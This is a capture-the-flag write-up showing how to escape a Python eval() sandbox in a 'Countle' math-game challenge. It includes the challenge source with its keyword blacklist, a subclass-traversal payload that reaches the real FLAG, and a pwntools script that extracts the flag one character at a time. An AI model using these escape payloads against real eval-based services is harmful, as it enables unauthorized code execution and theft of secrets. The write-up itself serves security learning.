The challenge presents a math game where we have to solve expressions to reach target numbers 1,1,000,000.

╔════════════════╗
║ Puzzle #1      ║
╚════════════════╝
 Target: 234
 Nums: 25 6 2 4 3 4

The actual challenge is escaping a python sandbox. Looking at the source:

#!/usr/local/bin/python

from re import match
from sys import exit
from time import sleep
from countle_puzzle import generateSolvablePuzzle

def format(s):
    return (s.replace('~E',"\033[0m").replace('~R',"\033[0;1;31m").replace('~N',"\033[0;1;7;31m")
      .replace('~w',"\033[7;37m").replace('~u',"\33[4;31m").replace('~Gr',"\33[0;90m").replace('~r',"\33[0;31m")
      .replace('~G',"\033[0;1;32m").replace('~B',"\033[1;34m")).replace('~W',"\033[1;4;37m")

def banner():
    return format(r"""
  ~R(     *   )    (
  )\  ` )\  /(   )\
 (((_)  ( )(_))(((_)
)\\~E___ ~R(~E_~R(~E_~R()) )\\~E___
~R((~w/ __|~E ~w|_   _|~R((~w/ __|~E
 ~w| (~E__    ~w| |~E   ~w| (~E
  ~w\___|~E   ~w|_|~E    ~w\___|~E

     ~RWelcome to the~E
~NCountle Training Centre!~E
""")

def goal():
    return format(r"""
~RToday's Goal:~E
 ╔════════════════════╗
 ║ ~u1,000,000~E problems ║
 ╚════════════════════╝
            ~Gr^consecutive~E
""")

def menu():
    return ("""
Menu:
 [S] Start Challenge
 [H] Help
 [B] Blacklist
 [Q] Quit
 """)

def help():
    return format(r"""~WHow to play?~E

Combine the given numbers using
  ~Baddition (+)~E,
  ~Bsubtraction (-)~E,
  ~Bmultiplication (*)~E, and
  ~Bdivision(/)~E
to reach the target.

~R!! No negative numbers or fractions allowed !!~E

For e.g.
  ~BTarget: 947
  Nums: 100 7 4 5 9 7~E

  Valid solution:
  ~G((100 + 7) * (4 + 5) - 9 - 7)~E
""")

# Blacklisted word, not allowed in input
BLACKLIST = ['breakpoint', 'builtins' 'cat', 'compile', 'dict', 'eval', 'exec', 'getframe',
             'help', 'import', 'input', 'inspect', 'open', 'os', 'sh', 'signal' 'subprocess', 'system']

def blacklist():
    return format(r"""~RBlacklist:~E
 ~rbreakpoint
 builtins
 cat
 compile
 dict
 eval
 exec
 getframe
 help
 import
 input
 inspect
 open
 os
 sh
 signal
 subprocess
 system~E
""")

# Remove breakpoint and help, too powerful
__builtins__.__dict__.pop('breakpoint')
__builtins__.__dict__.pop('help')

def checkAnswer(expr, target):
    result = eval(expr, {'FLAG':"no flag for you", "__builtins__": None})
    return result == target

def challenge():
    for _ in range(1000000):
        n,t = generateSolvablePuzzle()
        print("╔════════════════╗")
        print("║ Puzzle #" + str(_+1).ljust(6) + " ║")
        print("╚════════════════╝")
        print(format(r" ~BTarget: " + str(t) + "\n Nums:"), *n, format(r"~E"), "\n")
        expr = input(" Your Answer:\n > ")
        print()

        if (not match(r"[0-9+\-*/()]+", expr)):
            return (print(format("~RThat is not a valid expression. Read 'Help' for more info.~E")))
        elif (len(expr) > 160):
            return (print(format("~RWhat are you doing with so many characters? Read 'Help' for more info.~E")))
        for b in BLACKLIST + [str(t)]:
            if b in expr:
                return (print(format("~RBlacklisted word is not allowed: "+b+"~E")))
        if (not checkAnswer(expr, t)):
            print(format(" ~Rtsk tsk tsk...\n Your answer is wrong!\n I'm dissapointed...~E"))
            exit(0)
        else:
            print(format(" ~GCorrect!~E\n"))
            sleep(0.1) # rate limit
        if (_ == 999999):
            print(format(" ~GCongrats!! Here is your flag:\n   " + FLAG + "~E"))
            exit(0)


FLAG = "flag{placeholder}}"

if __name__ == "__main__":
    print(banner())
    print(goal())
    while (1):
        print(menu())
        choice = input("> ").upper()[0]
        print()
        if (choice == 'S'):
            challenge()
        elif (choice == 'H'):
            print(help())
        elif (choice == 'B'):
            print(blacklist())
        elif (choice == 'Q'):
            exit(0)
def checkAnswer(expr, target):
    result = eval(expr, {'FLAG':"no flag for you", "__builtins__": None})
    return result == target

The checkAnswer function, which:

  • Uses eval() to execute user input
  • Sets __builtins__ to None (disabling built-in functions)
  • Overwrites FLAG with a fake value in the local context
  • Only returns boolean result (doesn’t print the actual evaluation)
if (not match(r"[0-9+\-*/()]+", expr)):
    return (print(format("~RThat is not a valid expression...")))

There is regex validation on user input, and blacklist:

BLACKLIST = ['breakpoint', 'builtins' 'cat', 'compile', 'dict', 'eval', 'exec', 
             'getframe', 'help', 'import', 'input', 'inspect', 'open', 'os', 
             'sh', 'signal' 'subprocess', 'system']

One issue is that match only checks the beginning of a string, not the whole string!

if (not match(r"[0-9+\-*/()]+", expr)):

We can use (), so we can access Python’s object heirarch through the empty tuple:

().__class__.__base__.__subclasses__()

This gives us access to all classes that inherit from object, which includes many useful classes with access to modules and built-in functions.

Afer playing around for a while I found _sitebuiltins.Quitter at index 156 which works perfectly:

().__class__.__base__.__subclasses__()[156].__init__.__globals__

One issue I ran into was the server was running an older version of python, so the list of subclasses was different. We were given a Dockerfile so I used that for local testing and finding the right offset.

Step 3: Accessing the Real FLAG

The real FLAG variable exists in the __main__ module’s global scope, which we can access via:

().__class__.__base__.__subclasses__()[156].__init__.__globals__['sys'].modules['__main__'].FLAG

Since eval() doesn’t print results, we need to extract the flag character by character using boolean logic:

(().__class__.__base__.__subclasses__()[156].__init__.__globals__['sys'].modules['__main__'].FLAG[0]=='f')+TARGET-1

We are supposed to be evauling math expressions. If our answers = Target, then we get back Correct!, otherwise Wrong. We can compare a byte in the flag to a char, and if it is correct, our expression evaluates to True. True in python is equal to 1, and False is zero. So if we add a True expression to Target -1, we get the correct value and Correct!. Using this, we can extract the flag byte by byte. See script below:

from pwn import *
import time

context.log_level = "ERROR"


flag = "grey{"
index = 5
all_chars = '1234567890_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\()*+,-./:;<=>?@[\\]^_{|}~'


while True:
    for ch in all_chars:
        target = remote("challs.nusgreyhats.org", 33401 )
        target.sendline("S")
        target.recvuntil("Target: ")
        value = int(target.recvuntil("\n", drop=True)) - 1
        target.recvuntil(b"> ")
        payload = f"(().__class__.__base__.__subclasses__()[156].__init__.__globals__['sys'].modules['__main__'].FLAG[{index}]=='{ch}')+{value}"
        target.sendline(payload)
        resp = target.recvall(timeout=1)
        if b"Correct!" in resp:
            flag +=ch
            index += 1
            print(flag)
            target.close()
            break
        else:
            time.sleep(.05)
            target.close

grey{4_w0r1D_c1As5_c0Un7L3_p1aY3r_1n_0uR_mId5t}